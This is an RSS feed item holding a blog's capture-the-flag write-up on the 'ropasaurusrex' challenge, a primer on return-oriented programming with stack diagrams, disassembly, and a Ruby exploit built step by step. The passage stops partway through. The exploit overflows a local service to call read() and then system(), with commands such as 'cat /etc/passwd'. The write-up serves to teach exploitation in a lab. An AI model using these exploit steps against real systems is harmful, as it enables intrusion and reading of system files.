<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SkullSecurity</title>
	<atom:link href="http://www.skullsecurity.org/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.skullsecurity.org/blog</link>
	<description>Just another security weblog</description>
	<lastBuildDate>Tue, 14 May 2013 20:53:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>ropasaurusrex: a primer on return-oriented programming</title>
		<link>http://www.skullsecurity.org/blog/2013/ropasaurusrex-a-primer-on-return-oriented-programming</link>
		<comments>http://www.skullsecurity.org/blog/2013/ropasaurusrex-a-primer-on-return-oriented-programming#comments</comments>
		<pubDate>Thu, 02 May 2013 14:25:02 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1555</guid>
		<description><![CDATA[One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level&#8212;nothing like the amount of time I spent on cnot, not by a fraction&#8212;and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
<!--
pre { white-space: pre-wrap; font-family: monospace; color: #839496; background-color: #002b36; }
tt { font-family: monospace; color: #839496; background-color: #002b36; }
.lnr { color: #586e75; background-color: #073642; }
.Type { color: #b58900; }
.Comment { color: #586e75; font-style: italic; }
.Special { color: #dc322f; }
.Statement { color: #719e07; }
.Constant { color: #2aa198; }
.Identifier { color: #268bd2; }
.rubyDefine { color: #93a1a1; background-color: #002b36; font-weight: bold; }
-->
</style>
<p>One of the worst feelings when playing a capture-the-flag challenge is the <a href="http://knowyourmeme.com/memes/captain-hindsight">hindsight</a> problem. You spend a few hours on a level&mdash;nothing like the amount of time I spent on <a href="/blog/2013/epic-cnot-writeup-plaidctf">cnot</a>, not by a fraction&mdash;and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all!</p>
<p>Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post.</p>
<p>Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide!</p>
<p>Coincidentally, I've been meaning to write a post on <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a> for some time now. I even wrote a vulnerable demo program that I was going to base this on! But, since PlaidCTF gave us this challenge, I thought I'd talk about it instead! This isn't just a writeup, this is designed to be a fairly in-depth primer on return-oriented programming! If you're more interested in the process of solving a CTF level, have a look at <a href="/blog/2013/epic-cnot-writeup-plaidctf">my writeup of cnot</a>. :)</p>
<h2>What the heck is ROP?</h2>
<p>ROP&mdash;return-oriented programming&mdash;is a modern name for a classic exploit called "<a href="https://en.wikipedia.org/wiki/Return-to-libc_attack">return into libc</a>". The idea is that you found an overflow or other type of vulnerability in a program that lets you take control, but you have no reliable way get your code into executable memory (<a href="https://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a>, or data execution prevention, means that you can't run code from anywhere you want anymore).</p>
<p>With ROP, you can pick and choose pieces of code that are already in sections executable memory and followed by a '<a href="https://en.wikipedia.org/wiki/Return_statement">return</a>'. Sometimes those pieces are simple, and sometimes they're complicated. In this exercise, we only need the simple stuff, thankfully!</p>
<p>But, we're getting ahead of ourselves. Let's first learn a little more about the <a href="https://en.wikipedia.org/wiki/Call_stack">stack</a>! I'm not going to spend a <em>ton</em> of time explaining the stack, so if this is unclear, please check out <a href="/wiki/index.php/The_Stack">my assembly tutorial</a>.</p>
<h2>The stack</h2>
<p>I'm sure you've heard of the stack before. <a href="https://en.wikipedia.org/wiki/Stack_overflow">Stack overflows</a>? Smashing the stack? But what's it actually mean? If you already know, feel free to treat this as a quick primer, or to just skip right to the next section. Up to you!</p>
<p>The simple idea is, let's say function <tt>A()</tt> calls function <tt>B()</tt> with two parameters, 1 and 2. Then <tt>B()</tt> calls <tt>C()</tt> with two parameters, 3 and 4. When you're in <tt>C()</tt>, the stack looks like this:</p>
<pre>
+----------------------+
|         ...          | (higher addresses)
+----------------------+

+----------------------+ &lt;-- start of 'A's stack frame
|   [return address]   | &lt;-- address of whatever called 'A'
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ &lt;-- start of 'B's stack frame
|         2 (parameter)|
+----------------------+
|         1 (parameter)|
+----------------------+
|   [return address]   | &lt;-- the address that 'B' returns to
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ &lt;-- start of 'C's stack frame
|         4 (parameter)|
+----------------------+
|         3 (parameter)|
+----------------------+
|   [return address]   | &lt;-- the address that 'C' returns to
+----------------------+

+----------------------+
|         ...          | (lower addresses)
+----------------------+
</pre>
<p>This is quite a mouthful (eyeful?) if you don't live and breathe all the time at this depth, so let me explain a bit. Every time you call a function, a new "stack frame" is built. A "frame" is simply some memory that the function allocates for itself on the stack. In fact, it doesn't even allocate it, it just adds stuff to the end and updates the <tt>esp</tt> register so any functions it calls know where its own stack frame needs to start (<tt>esp</tt>, the stack pointer, is basically a variable).</p>
<p>This stack frame holds the context for the current function, and lets you easily a) build frames for new functions being called, and b) return to previous frames (i.e., return from functions). <tt>esp</tt> (the stack pointer) moves up and down, but always points to the top of the stack (the lowest address).</p>
<p>Have you ever wondered where a function's local variables go when you call another function (or, better yet, you call the same function again recursively)? Of course not! But if you did, now you'd know: they wind up in an old stack frame that we return to later!</p>
<p>Now, let's look at what's stored on the stack, in the order it gets pushed (note that, confusingly, you can draw a stack either way; in this document, the stack grows from top to bottom, so the older/callers are on top and the newer/callees are on the bottom):</p>
<ul>
<li>Parameters: The parameters that were passed into the function by the caller&mdash;these are <em>extremely</em> important with ROP.</li>
<li>Return address: Every function needs to know where to go when it's done. When you call a function, the address of the instruction right after the call is pushed onto the stack prior to entering the new function. When you return, the address is popped off the stack and is jumped to. This is extremely important with ROP.</li>
<li>Saved frame pointer: Let's totally ignore this. Seriously. It's just something that compilers typically do, except when they don't, and we won't speak of it again.</li>
<li>Local variables: A function can allocate as much memory as it needs (within reason) to store local variables. They go here. They don't matter at all for ROP and can be safely ignored.</li>
</ul>
<p>So, to summarize: when a function is called, parameters are pushed onto the stack, followed by the return address. When the function returns, it grabs the return address off the stack and jumps to it. The parameters pushed onto the stack are <a href="https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl">removed by the calling function</a>, <a href="https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall">except when they're not</a>. We're going to assume the caller cleans up, that is, the function doesn't clean up after itself, since that's is how it works in this challenge (and most of the time on Linux).</p>
<h2>Heaven, hell, and stack frames</h2>
<p>The main thing you have to understand to know ROP is this: a function's entire universe is its stack frame. The stack is its god, the parameters are its commandments, local variables are its sins, the saved frame pointer is its bible, and the return address is its heaven (okay, probably hell). It's all right there in the <a href="http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html">Book of Intel</a>, chapter 3, verses 19 - 26 (note: it isn't actually, don't bother looking).</p>
<p>Let's say you call the <tt>sleep()</tt> function, and get to the first line; its stack frame is going to look like this:</p>
<pre>
          ...            &lt;-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | &lt;-- esp points here
+----------------------+
          ...            &lt;-- not allocated, don't care territory (lower addresses)
</pre>
<p>When <tt>sleep()</tt> starts, this stack frame is all it sees. It can save a frame pointer (crap, I mentioned it twice since I promised not to; I swear I won't mention it again) and make room for local variables by subtracting the number of bytes it wants from <tt>esp</tt> (ie, making <tt>esp</tt> point to a lower address). It can call other functions, which create new frames under <tt>esp</tt>. It can do many different things; what matters is that, when it <tt>sleep()</tt> starts, the stack frame makes up its entire world.</p>
<p>When <tt>sleep()</tt> returns, it winds up looking like this:</p>
<pre>
          ...            &lt;-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       | &lt;-- esp points here
+----------------------+
| [old return address] | &lt;-- not allocated, don't care territory starts here now
+----------------------+
          ...            (lower addresses)
</pre>
<p>And, of course, the caller, after <tt>sleep()</tt> returns, will remove "seconds" from the stack by adding 4 to <tt>esp</tt> (later on, we'll talk about how we have to use <tt>pop/pop/ret</tt> constructs to do the same thing).</p>
<p>In a properly working system, this is how life works. That's a safe assumption. The "seconds" value would only be on the stack if it was pushed, and the return address is going to point to the place it was called from. Duh. How else would it get there?</p>
<h2>Controlling the stack</h2>
<p>...well, since you asked, let me tell you. We've all heard of a "stack overflow", which involves overwriting a variable on the stack. What's that mean? Well, let's say we have a frame that looks like this:</p>
<pre>
          ...            &lt;-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | &lt;-- esp points here
+----------------------+
|     char buf[16]     |
|                      |
|                      |
|                      |
+----------------------+
          ...            (lower addresses)
</pre>
<p>The variable <tt>buf</tt> is 16 bytes long. What happens if a program tries to write to the 17<sup>th</sup> byte of buf (i.e., <tt>buf[16]</tt>)? Well, it writes to the last byte&mdash;<a href="https://en.wikipedia.org/wiki/Endianness">little endian</a>&mdash;of the return address. The 18<sup>th</sup> byte writes to the second-last byte of the return address, and so on. Therefore, we can change the return address to point to anywhere we want. <em>Anywhere we want</em>. So when the function returns, where's it go? Well, it thinks it's going to where it's supposed to go&mdash;in a perfect world, it would be&mdash;but nope! In this case, it's going to wherever the attacker wants it to. If the attacker says to jump to <a href="https://en.wikipedia.org/wiki/Zero_page">0</a>, it jumps to 0 and crashes. If the attacker says to go to <tt>0x41414141</tt> ("AAAA"), it jumps there and probably crashes. If the attacker says to jump to the stack... well, that's where it gets more complicated...</p>
<h2>DEP</h2>
<p>Traditionally, an attacker would change the return address to point to the stack, since the attacker already has the ability to put code on the stack (after all, code is just a bunch of bytes!). But, being that it was such a common and easy way to exploit systems, those assholes at OS companies (just kidding, I love you guys :) ) put a stop to it by introducing data execution prevention, or DEP. On any DEP-enabled system, you can no longer run code on the stack&mdash;or, more generally, anywhere an attacker can write&mdash;instead, it crashes.</p>
<p>So how the hell do I run code without being allowed to run code!?</p>
<p>Well, we're going to get to that. But first, let's look at the vulnerability that the challenge uses!</p>
<h2>The vulnerability</h2>
<p>Here's the vulnerable function, fresh from IDA:</p>
<pre>
<span class="lnr"> 1 </span>  <span class="Statement">.text</span>:080483F4<span class="Identifier">vulnerable_function</span> <span class="Identifier">proc</span> <span class="Identifier">near</span>
<span class="lnr"> 2 </span>  <span class="Statement">.text</span>:080483F4
<span class="lnr"> 3 </span>  <span class="Statement">.text</span>:080483F4<span class="Identifier">buf</span>             = <span class="Identifier">byte</span> <span class="Identifier">ptr</span> -<span class="Constant">88</span><span class="Identifier">h</span>
<span class="lnr"> 4 </span>  <span class="Statement">.text</span>:080483F4
<span class="lnr"> 5 </span>  <span class="Statement">.text</span>:080483F4         <span class="Identifier">push</span>    <span class="Identifier">ebp</span>
<span class="lnr"> 6 </span>  <span class="Statement">.text</span>:080483F5         <span class="Identifier">mov</span>     <span class="Identifier">ebp</span>, <span class="Identifier">esp</span>
<span class="lnr"> 7 </span>  <span class="Statement">.text</span>:080483F7         <span class="Identifier">sub</span>     <span class="Identifier">esp</span>, <span class="Constant">98</span><span class="Identifier">h</span>
<span class="lnr"> 8 </span>  <span class="Statement">.text</span>:080483FD         <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">esp</span>+<span class="Constant">8</span>], <span class="Constant">100</span><span class="Identifier">h</span> <span class="Comment">; nbytes</span>
<span class="lnr"> 9 </span>  <span class="Statement">.text</span>:08048405         <span class="Identifier">lea</span>     <span class="Identifier">eax</span>, [<span class="Identifier">ebp</span>+<span class="Identifier">buf</span>]
<span class="lnr">10 </span>  <span class="Statement">.text</span>:0804840B         <span class="Identifier">mov</span>     [<span class="Identifier">esp</span>+<span class="Constant">4</span>], <span class="Identifier">eax</span>    <span class="Comment">; buf</span>
<span class="lnr">11 </span>  <span class="Statement">.text</span>:0804840F         <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">esp</span>], <span class="Constant">0 </span><span class="Comment">; fd</span>
<span class="lnr">12 </span>  <span class="Statement">.text</span>:08048416         <span class="Identifier">call</span>    <span class="Identifier">_read</span>
<span class="lnr">13 </span>  <span class="Statement">.text</span>:0804841B         <span class="Identifier">leave</span>
<span class="lnr">14 </span>  <span class="Statement">.text</span>:0804841C         <span class="Identifier">retn</span>
<span class="lnr">15 </span>  <span class="Statement">.text</span>:0804841C<span class="Identifier">vulnerable_function</span> <span class="Identifier">endp</span>
</pre>
<p>Now, if you don't know assembly, this might look daunting. But, in fact, it's simple. Here's the equivalent C:</p>
<pre>
<span class="lnr">1 </span>  <span class="Type">ssize_t</span> __cdecl vulnerable_function()
<span class="lnr">2 </span>  {
<span class="lnr">3 </span>    <span class="Type">char</span> buf[<span class="Constant">136</span>];
<span class="lnr">4 </span>    <span class="Statement">return</span> read(<span class="Constant">0</span>, buf, <span class="Constant">256</span>);
<span class="lnr">5 </span>  }
</pre>
<p>So, it reads 256 bytes into a 136-byte buffer. Goodbye Mr. Stack!</p>
<p>You can easily validate that by running it, piping in a bunch of 'A's, and seeing what happens:</p>
<pre>
<span class="lnr">1 </span>  ron@debian-x86 ~ $ <span class="Statement">ulimit</span> <span class="Special">-c</span> unlimited
<span class="lnr">2 </span>  ron@debian-x86 ~ $ perl <span class="Special">-e</span> <span class="Statement">&quot;</span><span class="Constant">print 'A'x300</span><span class="Statement">&quot;</span> | ./ropasaurusrex
<span class="lnr">3 </span>  Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
<span class="lnr">4 </span>  ron@debian-x86 ~ $ gdb ./ropasaurusrex core
<span class="lnr">5 </span>  <span class="Statement">[</span>...<span class="Statement">]</span>
<span class="lnr">6 </span>  Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr">7 </span>  <span class="Comment">#0  0x41414141 in ?? ()</span>
<span class="lnr">8 </span>  <span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span>
</pre>
<p>Simply speaking, it means that we overwrote the return address with the letter A 4 times (<tt>0x41414141</tt> = "AAAA").</p>
<p>Now, there are good ways and bad ways to figure out exactly what you control. I used a bad way. I put "BBBB" at the end of my buffer and simply removed 'A's until it crashed at <tt>0x42424242</tt> ("BBBB"):</p>
<pre>
<span class="lnr">1 </span>  ron@debian-x86 ~ $ perl <span class="Special">-e</span> <span class="Statement">&quot;</span><span class="Constant">print 'A'x140;print 'BBBB'</span><span class="Statement">&quot;</span> | ./ropasaurusrex
<span class="lnr">2 </span>  Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
<span class="lnr">3 </span>  ron@debian-x86 ~ $ gdb ./ropasaurusrex core
<span class="lnr">4 </span>  <span class="Comment">#0  0x42424242 in ?? ()</span>
</pre>
<p>If you want to do this "better" (by which I mean, slower), check out Metasploit's <a href="https://github.com/rapid7/metasploit-framework/blob/master/tools/pattern_create.rb">pattern_create.rb</a> and <a href="https://github.com/rapid7/metasploit-framework/blob/master/tools/pattern_offset.rb">pattern_offset.rb</a>. They're great when guessing is a slow process, but for the purpose of this challenge it was so quick to guess and check that I didn't bother.</p>
<h2>Starting to write an exploit</h2>
<p>The first thing you should do is start running <tt>ropasaurusrex</tt> as a network service. The folks who wrote the CTF used <a href="https://en.wikipedia.org/wiki/Xinetd">xinetd</a> to do this, but we're going to use <a href="https://en.wikipedia.org/wiki/Netcat">netcat</a>, which is just as good (for our purposes):</p>
<pre>
<span class="lnr">1 </span>$ <span class="Statement">while </span><span class="Statement">true</span><span class="Statement">;</span><span class="Statement"> </span><span class="Statement">do</span> nc <span class="Special">-vv</span> <span class="Statement">-l</span> <span class="Statement">-p</span> <span class="Constant">4444</span> <span class="Statement">-e</span> ./ropasaurusrex<span class="Statement">;</span> <span class="Statement">done</span>
<span class="lnr">2 </span>listening on <span class="Statement">[</span>any<span class="Statement">]</span> <span class="Constant">4444</span> ...
</pre>
<p>From now on, we can use <tt>localhost:4444</tt> as the target for our exploit and test if it'll work against the actual server.</p>
<p>You may also want to disable ASLR if you're following along:</p>
<pre>
<span class="lnr">1 </span>$ sudo sysctl <span class="Special">-w</span> <span class="Identifier">kernel.randomize_va_space</span>=<span class="Constant">0</span>
</pre>
<p>Note that this will make your system easier to exploit, so I don't recommend doing this outside of a lab environment!</p>
<p>Here's some ruby code for the initial exploit:</p>
<pre>
<span class="lnr"> 1 </span><span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">socket</span><span class="Special">'</span>
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>$ cat ./sploit.rb
<span class="lnr"> 4 </span>s = <span class="Type">TCPSocket</span>.new(<span class="Special">&quot;</span><span class="Constant">localhost</span><span class="Special">&quot;</span>, <span class="Constant">4444</span>)
<span class="lnr"> 5 </span>
<span class="lnr"> 6 </span><span class="Comment"># Generate the payload</span>
<span class="lnr"> 7 </span>payload = <span class="Special">&quot;</span><span class="Constant">A</span><span class="Special">&quot;</span>*<span class="Constant">140</span> +
<span class="lnr"> 8 </span>  [
<span class="lnr"> 9 </span>    <span class="Constant">0x42424242</span>,
<span class="lnr">10 </span>  ].pack(<span class="Special">&quot;</span><span class="Constant">I*</span><span class="Special">&quot;</span>) <span class="Comment"># Convert a series of 'ints' to a string</span>
<span class="lnr">11 </span>
<span class="lnr">12 </span>s.write(payload)
<span class="lnr">13 </span>s.close()
</pre>
<p>Run that with <tt>ruby ./sploit.rb</tt> and you should see the service crash:</p>
<pre>
<span class="lnr">1 </span>connect to <span class="Statement">[</span>127.0.0.1<span class="Statement">]</span> from debian-x86.skullseclabs.org <span class="Statement">[</span>127.0.0.1<span class="Statement">]</span> <span class="Constant">53451</span>
<span class="lnr">2 </span>Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
</pre>
<p>And you can verify, using gdb, that it crashed at the right location:</p>
<pre>
<span class="lnr">1 </span>gdb <span class="Special">--quiet</span> ./ropasaurusrex core
<span class="lnr">2 </span><span class="Statement">[</span>...<span class="Statement">]</span>
<span class="lnr">3 </span>Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr">4 </span><span class="Comment">#0  0x42424242 in ?? ()</span>
</pre>
<p>We now have the beginning of an exploit!</p>
<h2>How to waste time with ASLR</h2>
<p>I called this section 'wasting time', because I didn't realize&mdash;at the time&mdash;that ASLR was enabled. However, assuming no ASLR actually makes this a much more instructive puzzle. So for now, let's not worry about ASLR&mdash;in fact, let's not even <em>define</em> ASLR. That'll come up in the next section.</p>
<p>Okay, so what do we want to do? We have a vulnerable process, and we have the <a href="https://en.wikipedia.org/wiki/C_standard_library">libc</a> shared library. What's the next step?</p>
<p>Well, our ultimate goal is to run system commands. Because <a href="https://en.wikipedia.org/wiki/Standard_streams">stdin and stdout</a> are both hooked up to the <a href="https://en.wikipedia.org/wiki/Network_socket">socket</a>, if we could run, for example, <tt>system("cat /etc/passwd")</tt>, we'd be set! Once we do that, we can run any command. But doing that involves two things:</p>
<ol>
<li>Getting the string <tt>cat /etc/passwd</tt> into memory somewhere</li>
<li>Running the <tt>system()</tt> function</li>
</ol>
<h3>Getting the string into memory</h3>
<p>Getting the string into memory actually involves two sub-steps:</p>
<ol>
<li>Find some memory that we can write to</li>
<li>Find a function that can write to it</li>
</ol>
<p>Tall order? Not really! First things first, let's find some memory that we can read and write! The most obvious place is the <a href="https://en.wikipedia.org/wiki/Data_segment">.data</a> section:</p>
<pre>
<span class="lnr">1 </span>ron@debian-x86 ~ $ objdump <span class="Special">-x</span> ropasaurusrex  | <span class="Statement">grep</span> <span class="Special">-A1</span> <span class="Statement">'</span><span class="Constant">\.data</span><span class="Statement">'</span>
<span class="lnr">2 </span> <span class="Constant">23</span> .data         <span class="Constant">00000008</span>  <span class="Constant">08049620</span>  <span class="Constant">08049620</span>  <span class="Constant">00000620</span>  <span class="Constant">2</span>**<span class="Constant">2</span>
<span class="lnr">3 </span>                   CONTENTS, ALLOC, LOAD, DATA
<span class="lnr">4 </span>
</pre>
<p>Uh oh, .data is only 8 bytes long. That's not enough! In theory, any address that's long enough, writable, and not used will be enough for what we need. Looking at the output for <tt>objdump -x</tt>, I see a section called .dynamic that seems to fit the bill:</p>
<pre>
<span class="lnr">1 </span>
<span class="lnr">2 </span> <span class="Constant">20</span> .dynamic      000000d0  <span class="Constant">08049530</span>  <span class="Constant">08049530</span>  <span class="Constant">00000530</span>  <span class="Constant">2</span>**<span class="Constant">2</span>
<span class="lnr">3 </span>                   CONTENTS, ALLOC, LOAD, DATA
</pre>
<p>The .dynamic section holds information for dynamic linking. We don't need that for what we're going to do, so let's choose address <tt>0x08049530</tt> to overwrite.</p>
<p>The next step is to find a function that can write our command string to address <tt>0x08049530</tt>. The most convenient functions to use are the ones that are in the executable itself, rather than a library, since the functions in the executable won't change from system to system. Let's look at what we have:</p>
<pre>
<span class="lnr"> 1 </span>ron@debian-x86 ~ $ objdump <span class="Special">-R</span> ropasaurusrex
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>ropasaurusrex:     <span class="Statement">file</span> format elf32-i386
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span>DYNAMIC RELOCATION RECORDS
<span class="lnr"> 6 </span>OFFSET   TYPE              VALUE
<span class="lnr"> 7 </span>08049600 R_386_GLOB_DAT    __gmon_start__
<span class="lnr"> 8 </span>08049610 R_386_JUMP_SLOT   __gmon_start__
<span class="lnr"> 9 </span>08049614 R_386_JUMP_SLOT   <span class="Statement">write</span>
<span class="lnr">10 </span>08049618 R_386_JUMP_SLOT   __libc_start_main
<span class="lnr">11 </span>0804961c R_386_JUMP_SLOT   <span class="Statement">read</span>
</pre>
<p>So, we have <tt>read()</tt> and <tt>write()</tt> immediately available. That's helpful! The <tt>read()</tt> function will read data from the socket and write it to memory. The prototype looks like this:</p>
<pre>
<span class="lnr">1 </span><span class="Type">ssize_t</span> read(<span class="Type">int</span> fd, <span class="Type">void</span> *buf, <span class="Type">size_t</span> count);
</pre>
<p>This means that, when you enter the <tt>read()</tt> function, you want the stack to look like this:</p>
<pre>
+----------------------+
|         ...          | - doesn't matter, other funcs will go here
+----------------------+

+----------------------+ &lt;-- start of read()'s stack frame
|     size_t count     | - count, strlen("cat /etc/passwd")
+----------------------+
|      void *buf       | - writable memory, 0x08049530
+----------------------+
|        int fd        | - should be 'stdin' (0)
+----------------------+
|   [return address]   | - where 'read' will return
+----------------------+

+----------------------+
|         ...          | - doesn't matter, read() will use for locals
+----------------------+
</pre>
<p>We update our exploit to look like this (explanations are in the comments):</p>
<pre>
<span class="lnr"> 1 </span>$ cat sploit.rb
<span class="lnr"> 2 </span><span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">socket</span><span class="Special">'</span>
<span class="lnr"> 3 </span>
<span class="lnr"> 4 </span>s = <span class="Type">TCPSocket</span>.new(<span class="Special">&quot;</span><span class="Constant">localhost</span><span class="Special">&quot;</span>, <span class="Constant">4444</span>)
<span class="lnr"> 5 </span>
<span class="lnr"> 6 </span><span class="Comment"># The command we'll run</span>
<span class="lnr"> 7 </span>cmd = <span class="Identifier">ARGV</span>[<span class="Constant">0</span>] + <span class="Special">&quot;</span><span class="Special">\0</span><span class="Special">&quot;</span>
<span class="lnr"> 8 </span>
<span class="lnr"> 9 </span><span class="Comment"># From objdump -x</span>
<span class="lnr">10 </span>buf = <span class="Constant">0x08049530</span>
<span class="lnr">11 </span>
<span class="lnr">12 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep read</span>
<span class="lnr">13 </span>read_addr = <span class="Constant">0x0804832C</span>
<span class="lnr">14 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep write</span>
<span class="lnr">15 </span>write_addr = <span class="Constant">0x0804830C</span>
<span class="lnr">16 </span>
<span class="lnr">17 </span><span class="Comment"># Generate the payload</span>
<span class="lnr">18 </span>payload = <span class="Special">&quot;</span><span class="Constant">A</span><span class="Special">&quot;</span>*<span class="Constant">140</span> +
<span class="lnr">19 </span>  [
<span class="lnr">20 </span>    cmd.length, <span class="Comment"># number of bytes</span>
<span class="lnr">21 </span>    buf,        <span class="Comment"># writable memory</span>
<span class="lnr">22 </span>    <span class="Constant">0</span>,          <span class="Comment"># stdin</span>
<span class="lnr">23 </span>    <span class="Constant">0x43434343</span>, <span class="Comment"># read's return address</span>
<span class="lnr">24 </span>
<span class="lnr">25 </span>    read_addr <span class="Comment"># Overwrite the original return</span>
<span class="lnr">26 </span>  ].reverse.pack(<span class="Special">&quot;</span><span class="Constant">I*</span><span class="Special">&quot;</span>) <span class="Comment"># Convert a series of 'ints' to a string</span>
<span class="lnr">27 </span>
<span class="lnr">28 </span><span class="Comment"># Write the 'exploit' payload</span>
<span class="lnr">29 </span>s.write(payload)
<span class="lnr">30 </span>
<span class="lnr">31 </span><span class="Comment"># When our payload calls read() the first time, this is read</span>
<span class="lnr">32 </span>s.write(cmd)
<span class="lnr">33 </span>
<span class="lnr">34 </span><span class="Comment"># Clean up</span>
<span class="lnr">35 </span>s.close()
</pre>
<p>We run that against the target:</p>
<pre>
<span class="lnr">1 </span>ron@debian-x86 ~ $ ruby sploit.rb <span class="Statement">&quot;</span><span class="Constant">cat /etc/passwd</span><span class="Statement">&quot;</span>
</pre>
<p>And verify that it crashes:</p>
<pre>
<span class="lnr">1 </span>listening on <span class="Statement">[</span>any<span class="Statement">]</span> <span class="Constant">4444</span> ...
<span class="lnr">2 </span>connect to <span class="Statement">[</span>127.0.0.1<span class="Statement">]</span> from debian-x86.skullseclabs.org <span class="Statement">[</span>127.0.0.1<span class="Statement">]</span> <span class="Constant">53456</span>
<span class="lnr">3 </span>Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
</pre>
<p>Then verify that it crashed at the return address of <tt>read()</tt> (<tt>0x43434343</tt>) and wrote the command to the memory at <tt>0x08049530</tt>:</p>
<pre>
<span class="lnr">1 </span>$ gdb <span class="Special">--quiet</span> ./ropasaurusrex core
<span class="lnr">2 </span><span class="Statement">[</span>...<span class="Statement">]</span>
<span class="lnr">3 </span>Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr">4 </span><span class="Comment">#0  0x43434343 in ?? ()</span>
<span class="lnr">5 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/s 0x08049530
<span class="lnr">6 </span>0x8049530:       <span class="Statement">&quot;</span><span class="Constant">cat /etc/passwd</span><span class="Statement">&quot;</span>
</pre>
<p>Perfect!</p>
<h3>Running it</h3>
<p>Now that we've written <tt>cat /etc/passwd</tt> into memory, we need to call <tt>system()</tt> and point it at that address. It turns out, if we assume ASLR is off, this is easy. We know that the executable is linked with libc:</p>
<pre>
<span class="lnr">1 </span>$ ldd ./ropasaurusrex
<span class="lnr">2 </span>        linux-gate.so.1 <span class="Statement">=</span><span class="Statement">&gt;</span>  <span class="PreProc">(</span><span class="Special">0xb7703000</span><span class="PreProc">)</span>
<span class="lnr">3 </span>        libc.so.6 <span class="Statement">=</span><span class="Statement">&gt;</span> /lib/i686/cmov/libc.so.6 <span class="PreProc">(</span><span class="Special">0xb75aa000</span><span class="PreProc">)</span>
<span class="lnr">4 </span>        /lib/ld-linux.so.2 <span class="PreProc">(</span><span class="Special">0xb7704000</span><span class="PreProc">)</span>
</pre>
<p>And <tt>libc.so.6</tt> contains the <tt>system()</tt> function:</p>
<pre>
<span class="lnr">1 </span>$ objdump <span class="Special">-T</span> /lib/i686/cmov/libc.so.6 | <span class="Statement">grep</span> system
<span class="lnr">2 </span><span class="Constant">000f5470</span> g    DF .text  <span class="Constant">00000042</span>  GLIBC_2.0   svcerr_systemerr
<span class="lnr">3 </span><span class="Constant">00039450</span> g    DF .text  <span class="Constant">0000007d</span>  GLIBC_PRIVATE __libc_system
<span class="lnr">4 </span><span class="Constant">00039450</span>  w   DF .text  <span class="Constant">0000007d</span>  GLIBC_2.0   system
</pre>
<p>We can figure out the address where <tt>system()</tt> ends up loaded in ropasaurusrex in our debugger:</p>
<pre>
<span class="lnr">1 </span>$ gdb <span class="Special">--quiet</span> ./ropasaurusrex core
<span class="lnr">2 </span><span class="Statement">[</span>...<span class="Statement">]</span>
<span class="lnr">3 </span>Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr">4 </span><span class="Comment">#0  0x43434343 in ?? ()</span>
<span class="lnr">5 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/x system
<span class="lnr">6 </span>0xb7ec2450 <span class="Statement">&lt;</span>system<span class="Statement">&gt;</span>:    0x890cec83
</pre>
<p>Because <tt>system()</tt> only takes one argument, building the stackframe is pretty easy:</p>
<pre>
+----------------------+
|         ...          | - doesn't matter, other funcs will go here
+----------------------+

+----------------------+ &lt;-- Start of system()'s stack frame
|      void *arg       | - our buffer, 0x08049530
